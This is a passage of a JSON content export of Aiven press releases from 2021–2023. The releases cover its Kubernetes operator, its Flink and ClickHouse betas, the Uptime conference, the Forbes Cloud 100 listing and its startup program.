Twitter."}],"markDefs":[{"_key":"e26498c080fd","_type":"link","href":"https://aiven.io/"},{"_key":"8aefc43ba4b1","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"4ebe00e543fe","_type":"block","children":[{"_key":"a97de1e7fabc0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"1637a33b29f6","_type":"block","children":[{"_key":"1f3ca7e8cbbe0","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"c9ad295bb3d7","_type":"block","children":[{"_key":"bf677fb144040","_type":"span","marks":["fb4fcf83a67b"],"text":"press@aiven.io"}],"markDefs":[{"_key":"fb4fcf83a67b","_type":"link","href":"mailto:press@aiven.io"}],"style":"normal"}],"publishedAt":"2023-08-28T11:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Enhanced program welcomes new startup ecosystem partners and includes a lower credit tier to make the program more accessible and inclusive to startups","metaImage":{"_type":"mainImage","alt":"Aiven unveils revamped Cluster startup program","asset":{"_ref":"image-4373b04e5a6dca9a1508a1a72e0e165e29d5b58a-3295x1724-png","_type":"reference"}},"metaTitle":"Aiven unveils revamped Cluster startup program"},"slug":{"_type":"slug","current":"/press/aiven-unveils-revamped-cluster-startup-program"},"subtitle":"Enhanced program welcomes new startup ecosystem partners spanning the Americas, APAC, and EMEA regions, and includes a lower credit tier to make the program more accessible and inclusive to startups","title":"Aiven unveils revamped Cluster startup program to empower and support promising ventures"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"2f9dWPBsJrM6W9WkIBoTy4","_rev":"ElrRHx5al3kb1PwLXHAAW8","_type":"pressRelease","_updatedAt":"2022-12-02T12:52:38Z","content":[{"_key":"FPQiIGKm","_type":"block","children":[{"_key":"49d46d697c32","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — September 13, 2021 -"},{"_key":"LC9cZvva","_type":"span","marks":[],"text":" Aiven, a leading technology company combining the best open source technologies with cloud infrastructure, announced today the release of Aiven Operator for Kubernetes, enabling smoother management of Aiven services while using Kubernetes native tools. With the release of the Aiven Operator for Kubernetes, customers can now connect any containerized application running on Kubernetes directly into the Aiven platform. Aiven Operator for Kubernetes is currently available for Aiven for Kafka and Aiven for PostgreSQL."}],"markDefs":[],"style":"normal"},{"_key":"bDoyIrMD","_type":"block","children":[{"_key":"7HFOWNPS","_type":"span","marks":[],"text":"Expedited by the move to cloud-based models, Kubernetes has accelerated in popularity in the last year and, by the end of 2021, regular container usage will be nearly "},{"_key":"lB1lNqvn","_type":"span","marks":["m2039261424858"],"text":"30% and growing"},{"_key":"JiCXR4IF","_type":"span","marks":[],"text":". For customers who already have their infrastructure on Kubernetes, the Aiven Operator for Kubernetes will allow them to integrate Aiven services with their existing tools. Due to its open source foundation, users can also use the same language to communicate Aiven and Kubernetes services with any supported cloud."}],"markDefs":[{"_key":"m2039261424858","_type":"link","href":"https://www.forrester.com/blogs/predictions-2021-cloud-computing-powers-pandemic-recovery/"}],"style":"normal"},{"_key":"S4X49To9","_type":"block","children":[{"_key":"QgAkDfJ9","_type":"span","marks":[],"text":"“We are constantly looking for ways to simplify usage of Aiven services for our customers by finding new ways to integrate with their existing tooling,” said Hannu Valtonen, chief product officer at Aiven. “Aiven now supports two of the most popular next-gen configuration and orchestration systems — Terraform and Kubernetes. This latest offering shows our commitment to developing the tools that our customers need the most to enable them to better utilize their technology and grow their businesses.”"}],"markDefs":[],"style":"normal"},{"_key":"8jz7h8JF","_type":"block","children":[{"_key":"imn5ara2","_type":"span","marks":[],"text":"Kubernetes is a platform that automates Linux container operations, and is now a part of the Cloud Native Computing Foundation. Kubernetes allows users to quickly scale their data storage according to their needs, such as if an application has accelerated user growth."}],"markDefs":[],"style":"normal"},{"_key":"qpEHycFN","_type":"block","children":[{"_key":"ulfAqg3k","_type":"span","marks":[],"text":"Additional capabilities include improved project handling and the abilities to monitor, deploy, upgrade, backup and restore service. Aiven also has plans to extend the Aiven Operator for Kubernetes to its other products and will be adding more features in the near future."}],"markDefs":[],"style":"normal"},{"_key":"qaI818wx","_type":"block","children":[{"_key":"ehMgC50Q","_type":"span","marks":[],"text":"To learn more about Aiven Operator for Kubernetes, visit our "},{"_key":"AmnhY5DO","_type":"span","marks":["m63452543505"],"text":"blog"},{"_key":"UWV0ecP4","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m63452543505","_type":"link","href":"https://aiven.io/blog/aiven-launches-kubernetes-operator-support-for-postgresql-and-apache-kafka"}],"style":"normal"},{"_key":"ffVpZtAi","_type":"block","children":[{"_key":"MhSjcRiR","_type":"span","marks":["strong"],"text":"About Aiven"},{"_key":"8ayGaMsn","_type":"span","marks":[],"text":" Headquartered in Helsinki with hubs in Berlin, Sydney and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Kafka, and M3, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, we do what we do best; manage cloud data infrastructure. We enable our customers to drive business results from open source that trigger true transformations far beyond their own backyards. Visit us at "},{"_key":"5QhPh34V","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"WoGLCbRe","_type":"span","marks":[],"text":" and follow "},{"_key":"zyBc4oQt","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"fxReq1Hr","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2021-09-13T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven’s latest service enables customers to connect containerized applications running on Kubernetes directly into the Aiven Platform","metaTitle":"Aiven launches Aiven Operator for Kubernetes"},"slug":{"_type":"slug","current":"/press/aiven-launches-aiven-operator-for-kubernetes"},"subtitle":"Aiven’s latest service enables customers to connect containerized applications running on Kubernetes directly into the Aiven Platform","title":"Aiven launches Aiven Operator for Kubernetes"} {"__i18n_lang":"en","_createdAt":"2022-09-07T06:43:43Z","_id":"1W8uD9Xc9PkgPiGQEL5Qqj","_rev":"ElrRHx5al3kb1PwLXHE3Ad","_type":"pressRelease","_updatedAt":"2022-12-02T13:07:23Z","content":[{"_key":"8MjPidRy","_type":"block","children":[{"_key":"kD8B3q3K","_type":"span","marks":["em"],"text":"Amid a year of exponential growth, including a Series D fundraise solidifying its $3B unicorn valuation, Aiven identified as a top private cloud company"}],"markDefs":[],"style":"normal"},{"_key":"w892DmiT","_type":"block","children":[{"_key":"IYZD2mb5","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — August 9, 2022"},{"_key":"i8g6wxHq","_type":"span","marks":[],"text":"— "},{"_key":"qzn9XWrs","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"BlHdtYC6","_type":"span","marks":[],"text":", a software company that combines the best open source technologies with cloud infrastructure, has been named to the Forbes 2022 Cloud 100, the definitive ranking of the top 100 private cloud companies in the world, published by Forbes in partnership with "},{"_key":"eeUgRN4B","_type":"span","marks":["m5424266191079"],"text":"Bessemer Venture Partners"},{"_key":"0lG3bHvb","_type":"span","marks":[],"text":" and "},{"_key":"dVFdpzRH","_type":"span","marks":["m4060849443817"],"text":"Salesforce Ventures"},{"_key":"BN7T9UzU","_type":"span","marks":[],"text":". This achievement marks the first time Aiven has been recognized as part of the annual rankings and cements the company’s position as a global leader in managed cloud data infrastructure."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m5424266191079","_type":"link","href":"https://www.bvp.com/"},{"_key":"m4060849443817","_type":"link","href":"https://www.salesforce.com/company/ventures/"}],"style":"normal"},{"_key":"C56PZOni","_type":"block","children":[{"_key":"Us9ErdHs","_type":"span","marks":[],"text":"“This recognition is an exciting achievement; one that validates the very idea of what we thought Aiven could become when we first started,” said Oskari Saarenmaa, Aiven’s CEO. “We designed our cloud data platform with the goal of helping fellow developers worry less and create more, and we are humbled and honored that this simple vision has allowed us to become one of the top private cloud companies in the world. We look forward to continuing this work to reach more developers around the globe.”"}],"markDefs":[],"style":"normal"},{"_key":"hJH1pxZy","_type":"block","children":[{"_key":"tBC0vq1z","_type":"span","marks":[],"text":"For the seventh straight year, the Cloud 100 reviews submissions from hundreds of cloud startups and private companies each year. The Cloud 100 evaluation process involved ranking companies across four factors: market leadership (35%), estimated valuation (30%), operating metrics (20%), and people \u0026 culture (15%). For market leadership, the Cloud 100 enlists the help of a judging panel of public cloud company CEOs who assist in evaluating and ranking their private company peers."}],"markDefs":[],"style":"normal"},{"_key":"p6MuOPci","_type":"block","children":[{"_key":"ssDZEdUl","_type":"span","marks":[],"text":"With a mission to make developers' lives better, Aiven offers a platform that makes sophisticated open source technologies like Apache Kafka®, PostgreSQL and OpenSearch accessible to all. By offloading mundane tasks of managing infrastructure, Aiven customers can focus on innovation and evolving the industry like Wolt, transforming deliveries from days to minutes with the help of cloud infrastructure and OVO Energy leveraging real-time analytics to drive consumption of renewable energy. Aiven serves a variety of industries, including retail, telecommunication, IT services, education, healthcare and more, with a diverse customer base in more than 50 countries."}],"markDefs":[],"style":"normal"},{"_key":"QIfkR9cp","_type":"block","children":[{"_key":"oimovztn","_type":"span","marks":[],"text":"“Great companies are born out of all environments, and it’s exciting to see the continued momentum in the cloud sector,” said Alex Kayyal, Managing Partner, Salesforce Ventures. “The companies on this list have gone through a rigorous selection process, and join an esteemed alumni list of Cloud 100 companies. As the need for digital transformation continues to drive innovation and efficiencies across industries, we can look to these companies as the absolute best in cloud computing.”"}],"markDefs":[],"style":"normal"},{"_key":"PBCsr5E4","_type":"block","children":[{"_key":"wBxqnPzD","_type":"span","marks":[],"text":"For more information on Aiven, visit "},{"_key":"0dSOOZDT","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io/"},{"_key":"eT3Kf5Lo","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"Wk4bbb5Y","_type":"block","children":[{"_key":"zHjQ8NQC","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"D7VhKSji","_type":"block","children":[{"_key":"NC9fxSg0","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Singapore, Sydney and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Apache Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab. To learn more about Aiven, visit "},{"_key":"xiC8JvLj","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"JAh3aB0Z","_type":"span","marks":[],"text":" and follow "},{"_key":"lXQIGRHK","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"sYiCEJ8a","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"HPnUYM0W","_type":"block","children":[{"_key":"c1UhKgy2","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"OYbALFwg","_type":"block","children":[{"_key":"h12zxkXw","_type":"span","marks":[],"text":"Megan Gasper - Walker Sands - megan.gasper@walkersands.com"}],"markDefs":[],"style":"normal"},{"_key":"saJEI5B3","_type":"block","children":[{"_key":"kmQLv6Ef","_type":"span","marks":[],"text":"Rachel Romoff - Communications Director, Americas - rachel.romoff@aiven.io"}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-08-09T00:00:00.000Z","seo":{"metaDescription":"Aiven has been named a 2022 Forbes Cloud 100 honoree alongside the top cloud companies in the world","metaTitle":"Aiven named a 2022 Forbes Cloud 100 honoree"},"slug":{"_type":"slug","current":"/press/aiven-named-forbes-cloud-100-honoree"},"subtitle":"Aiven has been named a 2022 Forbes Cloud 100 honoree alongside the top cloud companies in the world","title":"Aiven named a 2022 Forbes Cloud 100 honoree"} {"__i18n_lang":"en","_createdAt":"2022-09-07T06:43:43Z","_id":"7JAYK3y41fDafE39Hr98u6","_rev":"fuFsKkOoAJwNVpPrIJw8ec","_type":"pressRelease","_updatedAt":"2022-12-07T13:38:19Z","body":"*New conference to promote open source technology and build stronger community and collaboration around databases and tools.* \n\n__HELSINKI, Finland__ — Aiven, the open source cloud data platform company, is hosting Uptime, its first developer conference, in Amsterdam on September 14 -15, 2022. In alignment with Aiven's commitment to open source, Uptime aims to provide a platform for sharing best practices on building and operating complex systems at scale and allowing open source companies and projects to showcase their solutions and use cases.\n\n“There are broad benefits to a healthy and vibrant open source community, which include the code itself and also sharing information and what kind of business problems it helps to solve,” said Heikki Nousiainen, field CTO and co-founder, Aiven. “Uptime by Aiven is an impactful way to gather the broader developer community together for learning and collaboration.”\n\nUptime will bring together developers, architects, data engineers, DevOps professionals, and anyone who wants to learn about open source databases and tools like PostgreSQL®, MySQL®, Apache Kafka®, Apache Flink®, Grafana®, Apache Pinot®, Apache Pulsar®, and many more. \n\nKeynote speakers include Jason Yee, Staff Technical Evangelist at Datadog, Rob Barnes, Senior Developer Advocate at HashiCorp, Amanda Brock, CEO of OpenUK and Dirk-Willem van Gulik, Founder, first President and Member of the Apache Software Foundation. Their presentations will cover a wide range of topics including how to harness the full potential of open source tools, live challenges to the state and future on open source software, how a zero trust approach can underpin data security, and how open source patterns helped countries and citizens structure, scale up and speed up the Covid response in non-intuitive ways.\n\nUptime will include a variety of sessions on data governance, data pipelines, and how to build a future-proof data platform with the best open source technologies in your stack, and much more. Registration is open now and all proceeds benefit open source foundations.\n\nLearn more about Uptime by Aiven by visiting the event website. https://uptime.aiven.io/\n\nUptime is made possible by event sponsors including AWS/ OpenSearch, Axual, Excoscale, Postman, and UpCloud, and our community partners Berlin Buzzworks, Open Source Initiative, HashiCorp User Group Amsterdam and DataTalks.Club.\n\n### \n__About Aiven__\n\nHeadquartered in Helsinki and with hubs in Berlin, Boston, Paris, Singapore, Sydney and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Apache Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab. To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter.\n\n__Media Contacts__\n\nRuth Prieto Arenas, Communications Manager EMEA - press@aiven.io\n\nTing Ong, Communications Director EMEA \u0026 APAC - press@aiven.io\n","content":[{"_key":"GDVrkyuq","_type":"block","children":[{"_key":"6naeOTMv","_type":"span","marks":["em"],"text":"New conference to promote open source technology and build stronger community and collaboration around databases and tools."}],"markDefs":[],"style":"normal"},{"_key":"uNqOEj7U","_type":"block","children":[{"_key":"uqCwsaEI","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — August 23, 2022 - "},{"_key":"I0qwRaDJ","_type":"span","marks":[],"text":"Aiven, the open source cloud data platform company, is hosting Uptime, its first developer conference, in Amsterdam on September 14 -15, 2022. In alignment with Aiven's commitment to open source, Uptime aims to provide a platform for sharing best practices on building and operating complex systems at scale and allowing open source companies and projects to showcase their solutions and use cases."}],"markDefs":[],"style":"normal"},{"_key":"8ljDwf2a","_type":"block","children":[{"_key":"TQjqybBz","_type":"span","marks":[],"text":"“There are broad benefits to a healthy and vibrant open source community, which include the code itself and also sharing information and what kind of business problems it helps to solve,” said Heikki Nousiainen, field CTO and co-founder, Aiven. “Uptime by Aiven is an impactful way to gather the broader developer community together for learning and collaboration.”"}],"markDefs":[],"style":"normal"},{"_key":"3PwMtHEQ","_type":"block","children":[{"_key":"4EklYHzC","_type":"span","marks":[],"text":"Uptime will bring together developers, architects, data engineers, DevOps professionals, and anyone who wants to learn about open source databases and tools like PostgreSQL®, MySQL®, Apache Kafka®, Apache Flink®, Grafana®, Apache Pinot®, Apache Pulsar®, and many more."}],"markDefs":[],"style":"normal"},{"_key":"mHhAnlYP","_type":"block","children":[{"_key":"xk0Ov1j6","_type":"span","marks":[],"text":"Keynote speakers include Jason Yee, Staff Technical Evangelist at Datadog, Rob Barnes, Senior Developer Advocate at HashiCorp, Amanda Brock, CEO of OpenUK and Dirk-Willem van Gulik, Founder, first President and Member of the Apache Software Foundation. Their presentations will cover a wide range of topics including how to harness the full potential of open source tools, live challenges to the state and future on open source software, how a zero trust approach can underpin data security, and how open source patterns helped countries and citizens structure, scale up and speed up the Covid response in non-intuitive ways."}],"markDefs":[],"style":"normal"},{"_key":"c1pcJSFJ","_type":"block","children":[{"_key":"3SAx3XQk","_type":"span","marks":[],"text":"Uptime will include a variety of sessions on data governance, data pipelines, and how to build a future-proof data platform with the best open source technologies in your stack, and much more. Registration is open now and all proceeds benefit open source foundations."}],"markDefs":[],"style":"normal"},{"_key":"RHIw2SKv","_type":"block","children":[{"_key":"SEKrZv4Y","_type":"span","marks":[],"text":"Learn more about Uptime by Aiven by visiting the event website. https://uptime.aiven.io/"}],"markDefs":[],"style":"normal"},{"_key":"fKGU3nEs","_type":"block","children":[{"_key":"kMx70Oyu","_type":"span","marks":[],"text":"Uptime is made possible by event sponsors including AWS/ OpenSearch, Axual, Excoscale, Postman, and UpCloud, and our community partners Berlin Buzzworks, Open Source Initiative, HashiCorp User Group Amsterdam and DataTalks.Club."}],"markDefs":[],"style":"normal"},{"_key":"4kxqglRd","_type":"block","children":[{"_key":"Th3JfxRh","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"LdURWPdm","_type":"block","children":[{"_key":"3zxs3AmW","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Singapore, Sydney and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Apache Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab. To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"5V34qzBV","_type":"block","children":[{"_key":"MaD25I53","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"sCdBhkpI","_type":"block","children":[{"_key":"F4mbU0cs","_type":"span","marks":[],"text":"Ruth Prieto Arenas, Communications Manager EMEA - press@aiven.io"}],"markDefs":[],"style":"normal"},{"_key":"oYF6H9VK","_type":"block","children":[{"_key":"uioGBjZ8","_type":"span","marks":[],"text":"Ting Ong, Communications Director EMEA \u0026 APAC - press@aiven.io"}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-08-23T00:00:00.000Z","seo":{"metaDescription":"New conference to promote open source technology and build stronger community and collaboration around databases and tools. ","metaTitle":"Aiven Hosts First Ever Developer Conference, Uptime"},"slug":{"_type":"slug","current":"/press/aiven-host-first-time-ever-developer-conference-Uptime"},"subtitle":"New conference to promote open source technology and build stronger community and collaboration around databases and tools. ","title":"Aiven hosts first ever developer conference, Uptime"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"6jC58ZqSlNsWOpJnJgMysh","_rev":"Az4zPi8wljtyVnZ3eK6VJr","_type":"pressRelease","_updatedAt":"2022-12-07T13:40:47Z","content":[{"_key":"cHdLbBU2","_type":"block","children":[{"_key":"f2acd617119d","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — December 7, 2021"},{"_key":"uXKbVTPg","_type":"span","marks":[],"text":"- Aiven, a software company that combines the best open source technologies with cloud infrastructure, today announced the beta release of Aiven for Apache Flink. Aiven customers now have access to fully managed services for open source Apache Flink technology, including the rapid deployment of production-grade Apache Flink clusters and full-feature security and compliance."}],"markDefs":[],"style":"normal"},{"_key":"UVqET5rZ","_type":"block","children":[{"_key":"YXNrr8O3","_type":"span","marks":[],"text":"Apache Flink data processing capabilities integrate into several of Aiven’s existing services, like Aiven for Apache Kafka, PostgreSQL and OpenSearch services. Apache Flink is used for event-driven applications requiring real-time analytics or real-time Extract, Transform, Load (ETL) capabilities. Its many applications include:"}],"markDefs":[],"style":"normal"},{"_key":"QDv8rOli","_type":"block","children":[{"_key":"Udo6odsy","_type":"span","marks":[],"text":"Fraud and anomaly detection"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"DsPSxV1A","_type":"block","children":[{"_key":"BPLBGBdz","_type":"span","marks":[],"text":"Real-time activity monitoring and alerting"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"Bjw1BVo8","_type":"block","children":[{"_key":"CNIbi7S9","_type":"span","marks":[],"text":"Analytics dashboards"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"pRMoRWh0","_type":"block","children":[{"_key":"mfIAN9Os","_type":"span","marks":[],"text":"Continuous ETL in e-commerce"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"Yj6oyh6L","_type":"block","children":[{"_key":"2FfEaSJZ","_type":"span","marks":[],"text":"Real-time optimization of user experience"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"SONfFsIz","_type":"block","children":[{"_key":"aMnqal7k","_type":"span","marks":[],"text":"As organizations continue to integrate digital transformations at an unprecedented pace, it creates additional strain for developer teams. "},{"_key":"1rNBP0Au","_type":"span","marks":["m10856034196762"],"text":"IDC FutureScape"},{"_key":"hyoGTOan","_type":"span","marks":[],"text":" research reports more than half of enterprise organizations have an enterprise-wide digital transformation strategy, a 42% increase from just two years ago.*"}],"markDefs":[{"_key":"m10856034196762","_type":"link","href":"https://www.idc.com/getdoc.jsp?containerId=US47115521"}],"style":"normal"},{"_key":"H5dr5KVO","_type":"block","children":[{"_key":"vNk15UTl","_type":"span","marks":[],"text":"“Critical databases and open-source solutions, like Apache Flink, can be complex to manage and require a significant time investment. Our goal is to shift that burden so our customers can focus on their own key priorities instead,” said Aiven Chief Product Officer Hannu Valtonen. “Aiven enables organizations and database administrator teams to be 48% more efficient, according to an IDC white paper sponsored by Aiven.” **"}],"markDefs":[],"style":"normal"},{"_key":"QE8Fb8WA","_type":"block","children":[{"_key":"EcK1Hed1","_type":"span","marks":[],"text":"Aiven builds and deploys applications on fully managed data platforms for hundreds of businesses, enabling customers to focus on top business goals and digital transformation priorities. Through Aiven, database and developer teams have more freedom to work on projects that move the needle for their businesses, while Aiven handles the day-to-day management. IDC calculates that Aiven Data Cloud customers will realize benefits worth an annual average of $1.68 million per year by reduced infrastructure costs, improved agility, increased staff productivity and more opportunities for data-driven customer services."}],"markDefs":[],"style":"normal"},{"_key":"KiOz7ZcA","_type":"block","children":[{"_key":"1lPN0SrI","_type":"span","marks":[],"text":"“The main benefit of Aiven is the service, so we don't have to keep up with the environment, patch it, upgrade it, and those types of things. We know that Aiven is taking care of it, and we focus on what we do best, which is our business practices,” noted a U.S. e-Commerce company interviewed for the IDC white paper, “The Business Value of Aiven Data Cloud Solutions.”"}],"markDefs":[],"style":"normal"},{"_key":"TAq5qPUt","_type":"block","children":[{"_key":"ZyGR0MBS","_type":"span","marks":[],"text":"For more information about Aiven for Apache Flink, please visit https://aiven.io/flink."}],"markDefs":[],"style":"normal"},{"_key":"wL4Mbs81","_type":"block","children":[{"_key":"3cMqNkTP","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"Jav8wvt8","_type":"block","children":[{"_key":"ULkO81Xl","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Toronto, Sydney and Singapore, Aiven provides managed open source data technologies, like PostgreSQL, Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $2B unicorn valuation with a $60M extension to its $100M Series C funding round. Aiven has now raised $210M total funding thanks to its investors Atomico, Earlybird, First Fellow, IVP, Lifeline Ventures and World Innovation Lab. To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"KEwxsNYp","_type":"block","children":[{"_key":"4b0UQ3LM","_type":"span","marks":[],"text":"IDC, IDC FutureScape: Worldwide Digital Transformation 2022 Predictions, doc #US47115521, Oct. 2021"}],"markDefs":[],"style":"normal"},{"_key":"Alqj8Ck2","_type":"block","children":[{"_key":"nEycB1Do","_type":"span","marks":[],"text":"IDC Business Value Snapshot, sponsored by Aiven, The Business Value of Aiven Data Cloud, doc #US48198621, August 2021"}],"markDefs":[],"style":"normal"}],"publishedAt":"2021-12-07T00:00:00.000Z","seo":{"metaDescription":"Fully managed Apache Flink services are now available to Aiven customers for event stream processing","metaTitle":"Aiven Launches Managed Services for Apache Flink"},"slug":{"_type":"slug","current":"/press/aiven-launches-managed-services-for-apache-flink"},"subtitle":"Fully managed Apache Flink services are now available to Aiven customers for event stream processing","title":"Aiven launches managed services for Apache Flink"} {"__i18n_lang":"en","_createdAt":"2022-09-26T16:08:32Z","_id":"4HUz4R0keYc2QiR4wxt6x1","_rev":"fuFsKkOoAJwNVpPrIJujqY","_type":"pressRelease","_updatedAt":"2022-12-07T13:31:50Z","content":[{"_key":"vCSSqLOr","_type":"block","children":[{"_key":"ArK9YQiQ","_type":"span","marks":["strong"],"text":"AMSTERDAM, Netherlands — September 14, 2022 -"},{"_key":"7kjUaNuA","_type":"span","marks":[],"text":" "},{"_key":"Th2m1V18","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"0ZylZ4Zb","_type":"span","marks":[],"text":", the open source cloud data platform company, announced today the beta launch of "},{"_key":"RPhqB28M","_type":"span","marks":["m7338328337333"],"text":"Aiven for ClickHouse®"},{"_key":"tz3qNuOP","_type":"span","marks":[],"text":"at "},{"_key":"eiUvs0qF","_type":"span","marks":["m12954065321206"],"text":"Uptime"},{"_key":"lzPNRuIn","_type":"span","marks":[],"text":", the company’s first annual developer conference. Marking Aiven’s entrance to the cloud data warehousing market, the addition enables Aiven’s customers to use the fastest open source columnar database to access high-performance analytics for insights that drive key business decisions."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m7338328337333","_type":"link","href":"https://aiven.io/blog/aiven-for-clickhouse-beta-now-available"},{"_key":"m12954065321206","_type":"link","href":"https://uptime.aiven.io/"}],"style":"normal"},{"_key":"y7Qu5CJ4","_type":"block","children":[{"_key":"amGWMXw3","_type":"span","marks":[],"text":"“We’re thrilled to introduce Aiven for ClickHouse® Beta to our customers and further democratize access to best-of-breed open source technologies,” said Heikki Nousiainen, CTO at Aiven. “While our customers love our managed database offerings like PostgreSQL and MySQL, as data grows, they must incorporate data warehousing into their overall strategy. ClickHouse provides the best performance and scalability to meet customer demand. With ClickHouse, we can now better support our customers in leveraging their data into actionable insights to increase revenue and overall productivity of their business.”"}],"markDefs":[],"style":"normal"},{"_key":"3jmXpfS3","_type":"block","children":[{"_key":"GagdrGiJ","_type":"span","marks":[],"text":"Based on open source ClickHouse, Aiven for ClickHouse® Beta is a fully managed cloud data warehouse that brings high performance analytics to Aiven and allows the generation of analytical data reports in real-time using advanced SQL queries. Below are a few new integrations that Aiven for ClickHouse® Beta will offer."}],"markDefs":[],"style":"normal"},{"_key":"9UpdBYog","_type":"block","children":[{"_key":"J8lsAgsR","_type":"span","marks":[],"text":"Run federated queries from Clickhouse to data on PostgreSQL without transferring data."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"nZ1SlqJa","_type":"block","children":[{"_key":"5yS13V9c","_type":"span","marks":[],"text":"Stream data from multiple sources using Aiven for Kafka to ClickHouse for real-time analytics"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"DW1shjGh","_type":"block","children":[{"_key":"Vg6L98h3","_type":"span","marks":[],"text":"Visualize insights from ClickHouse with Aiven for Grafana"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8UQAQD3m","_type":"block","children":[{"_key":"xQUH0Cs3","_type":"span","marks":[],"text":"“By collaborating with the fellow proponents of open source at ClickHouse, we are living our mission to make developer’s lives better while working together to improve the larger open source community,” said Lorna Mitchell, Head of Developer Relations at Aiven. “Aiven for ClickHouse® Beta is an offering that directly speaks to bringing a good developer experience to one of the biggest pain points in data platforms today.”"}],"markDefs":[],"style":"normal"},{"_key":"Z1hcw4dL","_type":"block","children":[{"_key":"iJUNyuyf","_type":"span","marks":[],"text":"Companies across many industries, from global financial institutions, to transportation companies to audio streaming and media services, rely on ClickHouse for their data warehousing needs. ClickHouse aims to match or even exceed the performance, maturity and scalability of proprietary databases. It contributes to the open source community by having a plethora of developers committed to the necessary projects they are working on, including Aiven for ClickHouse®."}],"markDefs":[],"style":"normal"},{"_key":"7T2oqVua","_type":"block","children":[{"_key":"hI1r3TJu","_type":"span","marks":[],"text":"To learn more about Aiven for ClickHouse® Beta, visit https://aiven.io."}],"markDefs":[],"style":"normal"},{"_key":"Cj7G5n7p","_type":"block","children":[{"_key":"EaycEVpw","_type":"span","marks":["strong"],"text":"About 